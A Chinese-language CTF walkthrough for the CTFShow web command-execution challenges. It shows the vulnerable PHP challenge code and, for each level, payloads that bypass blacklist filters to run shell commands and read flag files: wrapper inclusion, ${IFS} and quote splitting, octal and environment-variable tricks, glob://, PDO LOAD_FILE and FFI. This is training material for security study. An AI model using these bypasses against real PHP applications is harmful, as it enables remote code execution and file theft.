CTFShow Web 入门命令执行 29-124 通关详解

web32-web36：参数逃逸

web32

error_reporting(0);
if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/flag|system|php|cat|sort|shell|\.| |'|`|echo|;|(/i",$c)){
        eval($c);
    }
}else{
    highlight_file(__FILE__);
}

过滤的字符和字符串较多。由于增加过滤了括号，因此对于危险函数的使用不利。但是利用 include 函数无需括号的特性，在 c 参数中定义一个不受限制的新参数实现参数逃逸，再结合 php://filter 包装器读取 flag.php 的 base64 编码内容。

Payload:

?c=include%0a$_GET[1]?>&1=php://filter/convert.base64-encode/resource=flag.php

web33

方法同上，不过上题用的是 php 伪协议，这题可以用 data。

需要注意的是，这里在定义参数需要使用 ?> 提前闭合语句，才能让 data 伪协议的解析不被当成 php 代码解析。

Payload:

?c=include%09$_GET[1]?>&1=data://text/plain,<?php system('tac flag.php');?>

web34-36

同上即可。

web37-web39：文件包含 + 伪协议命令执行

web37

error_reporting(0);
if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/flag/i",$c)){
        include($c);
        echo$flag;
    }
}else{
    highlight_file(__FILE__);
}

如果我们能让 c=flag.php，就可以获取 flag 值了。但是 flag 字符串被过滤了，并且在 include 函数中是不支持使用通配符的，这时候我们可以使用 data 伪协议。

Payload:

?c=data://text/plain,<?php system("tac fla*")?>

web38

过滤了：flag, php, file。在上题的基础上，使用 php 的短标签语法绕过 php 关键字限制即可。

Payload:

?c=data://text/plain,<?= system("tac fla*")?>

web39

error_reporting(0);
if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/flag/i",$c)){
        include($c.".php");
    }
}else{
    highlight_file(__FILE__);
}

看似是在我们输入的参数后面拼接了".php"字符串，但实际上在执行完 system 命令以后 include 函数就会直接完成执行并返回输出，完全忽略了后面的字符串。

Payload:

?c=data://text/plain,<?= system("tac fla*")?>

web40：无参数 RCE

if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/[0-9]|\~|\`|\@|\#|\$|%|^|&|*|(\)|-|=+|{|[|]|}|:|'|"|,|<|.>|/|\\/i",$c)){
        eval($c);
    }
}else{
    highlight_file(__FILE__);
}

此题有关无参数 RCE 的函数：localeconv(), current(), dirname(), array_reverse(), next(), show_source(filename)。

第一步：扫描目录

?c=var_dump(scandir(current(localeconv())));

第二步：文件读取

?c=show_source(next(array_reverse(scandir(current(localeconv())))));

web41:无字母 RCE

这道题连字母都限制了，但是留下了'｜'管道符，所以我们可以通过位或运算，将字母和数字这些字符重新构造出来。

Python 脚本用于生成可用字符组合：

import re
preg ='[0-9]|[a-z]|\^|\+|\~|\$|\[|\]|\{|\}|\&|-'
content =''
for i in range(256):
    for j in range(256):
        if not(re.match(preg,chr(i),re.I) or re.match(preg,chr(j),re.I)):
            k = i | j
            if k >=32 and k <=126:
                a ='%'+hex(i)[2:].zfill(2)
                b ='%'+hex(j)[2:].zfill(2)
                content +=(chr(k)+' '+ a +' '+ b +'
')
f =open('rce_or.txt','w')
f.write(content)
f.close()

web42-web53：绕过无回显 RCE

web42

if(isset($_GET['c'])){
    $c=$_GET['c'];
    system($c." >/dev/null 2>&1");
}else{
    highlight_file(__FILE__);
}

题目代码想要将我们的命令执行效果重定向到空白来停止输出，我们可以提前截断代码的执行，或者使用下面的特殊逻辑运算符实现命令分隔达到回显目的。

Payload:

?c=tac flag.php||
?c=tac%20flag.php%26%26
?c=tac%20flag.php%26

web43

过滤了分号，少了一种方法，其余同理。

web44

过滤了 flag 关键字，使用通配符即可。

web45

过滤了：分号，flag，cat，空格。空格的替换同 web31。

web46

有很多方法，虽然过滤了数字，但是 url 编码不会被解析成数字。

web47-web49

用上题 payload 即可，注意转义符 \ 的作用。

web50

&的 url 编码被过滤，但是管道符没有过滤。

新的空格过滤方法：< 被 shell 解析为重定向输入。

web51

新增 tac 过滤，转义符绕过。

web52

新增' < 、> '过滤，但是放开了对$和{}的过滤。这里由于转义符被过滤我们用的是单引号绕过。

Payload:

?c=t''ac${IFS}fl''ag.php||

web53

Payload:

ta''c${IFS}/fla''g||

web54:关键词模糊匹配

if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|.*c.*a.*t.*|.*f.*l.*a.*g.*| |[0-9]|\*|.*m.*o.*r.*e.*|.*w.*g.*e.*t.*|.*l.*e.*s.*s.*|.*h.*e.*a.*d.*|.*s.*o.*r.*t.*|.*t.*a.*i.*l.*|.*s.*e.*d.*|.*c.*u.*t.*|.*t.*a.*c.*|.*a.*w.*k.*|.*s.*t.*r.*i.*n.*g.*s.*|.*o.*d.*|.*c.*u.*r.*l.*|.*n.*l.*|.*s.*c.*p.*|.*r.*m.*|\`|%|\x09|\x26|>|</i",$c)){
        system($c);
    }
}

这道题用的是关键词模糊匹配，比如 .*c.*a.*t.* 会匹配包含字母 c、a、t 的任何组合。

Payload:

?c=cp${IFS}f??g.php${IFS}ccccc.txt

web55-web57：字符集受限 RCE

web55

过滤了所有大小写字母，但是没有过滤数字和空格，那就好办了，八进制编码 payload。

Payload:

'\164\141\143' '\146\154\141\147\56\160\150\160'

web56

过滤了所有字母和数字，以及反引号、%、Tab、&、>、<。可以使用 PHP 文件上传机制实现命令执行绕过。

Payload:

?c=. /???/????????[@-[]

web57

允许的字符：空格、斜杠、$、()。根据这些允许的字符，我们可以利用 Shell 算术扩展 $(()) 进行数学运算来构造数字。

Payload:

?c=$((~$(($((~$(())))...))))

web58-70：黑盒过滤 POST 参数

web58-web65

if(isset($_POST['c'])){
    $c=$_POST['c'];
    eval($c);
}else{
    highlight_file(__FILE__);
}

配合文件读取函数，实现任意文件读取。

Payload:

c=highlight_file("flag.php");
c=readfile("flag.php");
c=show_source("flag.php");
c=echo file_get_contents("flag.php");

web66-67

通过黄金规则进行目录扫描，扫描根目录：

c=var_dump(scandir('/'));
c=highlight_file("../..//flag.txt");

web68-70

RCE+include 包含函数参数逃逸绕过。

Payload:

c=include($_POST[1]);&1=php://filter/convert.base64-encode/resource=../..//flag.txt

web71 输出混淆

error_reporting(0);
ini_set('display_errors',0);
if(isset($_POST['c'])){
    $c=$_POST['c'];
    eval($c);
    $s=ob_get_contents();
    ob_end_clean();
    echo preg_replace("/[0-9]|[a-z]/i","?",$s);
}else{
    highlight_file(__FILE__);
}

可以提前终止脚本执行使替换规则直接作废。

Payload:

c=include("/flag.txt");die();

web72 目录限制

和上题代码是一样的，只是 flag 换位置了，用之前的方法查找 flag 不能成功了。

是因为本题使用了 open_basedir()，将 php 操作的文件锁在指定的路径中。 glob://是 PHP 内置的一个流包装器。

Payload:

c=$a=newDirectoryIterator("glob:///*");foreach($a as$f){echo($f->__toString().' ');}exit(0);

如果 glob 协议无法读取文件，需要用到 UAF 脚本。

web73-74：glob 协议+include 读取

先用 glob 协议看一下 flag 位置，查到 flag 文件存在。

Payload:

c=include("/flagc.txt");die();
c=include("/flagx.txt");die();

web75-web76：数据库文件读取

glob 协议找到 flag 位置在 flag36.php，但是 include 函数被禁了，UAF 脚本的经典 strlen 函数也用不了，那么我们可不可以直接去从数据库读取文件呢？

LOAD_FILE() 是 MySQL 的一个内置函数。

Payload:

c=try{$dbh=newPDO('mysql:host=localhost;dbname=information_schema','root','root');foreach($dbh->query('SELECT LOAD_FILE("/flag36.txt")')as$row){echo($row[0])."|";}$dbh=null;}catch(PDOException$e){echo$e->getMessage();die();};exit();

web77

这道题题目提示了 php7.4，而 php7.4 版本开始引入了 FFI。

尝试将 readflag 程序读到的 flag 重定向到 1.txt 文件中读取：

c=$ffi=FFI::cdef("int system(const char *command);");$a='/readflag > 1.txt';$ffi->system($a);

web118：环境变量字符拼接

web118

核心思路：通过提取环境变量字符串的特定字符来拼接出想要的命令。

Payload:

${PATH:~A}${PWD:~A}${IFS}????.??? 

web119-web120

关键字符的提取：${PWD}为 /var/www/html。

Payload:

${PWD:${#}:${##}}???${PWD:${#}:${##}}?${PWD:${SHLVL}:${#SHLVL}}${PWD:~${SHLVL}:${#SHLVL}}$IFS?${PWD:~A}???.??? 

web120-121

payload：

code=${PWD::${##}}???${PWD::${##}}${PWD:${#IFS}:${##}}?? ????.??? 

web122

这题开始 PWD 和#也被过滤了。核心思路：通过 HOME 获取' /'，但是需要用到数字 1。

Payload:

code=<A;${HOME::$?}???${HOME::$?}?????${RANDOM::$?} ????.??? 

web124：白名单函数利用

error_reporting(0);
if(!isset($_GET['c'])){show_source(__FILE__);}else{
    $content=$_GET['c'];
    if(strlen($content)>=80){die("太长了不会算");}
    $blacklist=[' ','\t','\r','\n','\'','"','`','[',']'];
    foreach($blacklist as$blackitem){if(preg_match('/'.$blackitem.'/m',$content)){die("请不要输入奇奇怪怪的字符");}}
    $whitelist=['abs','acos','acosh','asin','asinh','atan2','atan','atanh','base_convert','bindec','ceil','cos','cosh','decbin','dechex','decoct','deg2rad','exp','expm1','floor','fmod','getrandmax','hexdec','hypot','is_finite','is_infinite','is_nan','lcg_value','log10','log1p','log','max','min','mt_getrandmax','mt_rand','mt_srand','octdec','pi','pow','rad2deg','rand','round','sin','sinh','sqrt','srand','tan','tanh'];
    preg_match_all('/[a-zA-Z_\x7f-\xff][a-zA-Z_0-9\x7f-\xff]*/',$content,$used_funcs);
    foreach($used_funcs[0] as$func){if(!in_array($func,$whitelist)){die("请不要输入奇奇怪怪的函数");}}
    eval('echo '.$content.';');
}

利用思路：

1. 构造 _GET 字符串：$pi=base_convert(37907361743,10,36)(dechex(1598506324));
2. 构造动态函数调用：$$pi{abs}($$pi{acos})
3. 传递真实参数：?c=$pi=base_convert(37907361743,10,36)(dechex(1598506324));$$pi{abs}($$pi{acos})&abs=system&acos=cat f*

最终执行 system('cat f*')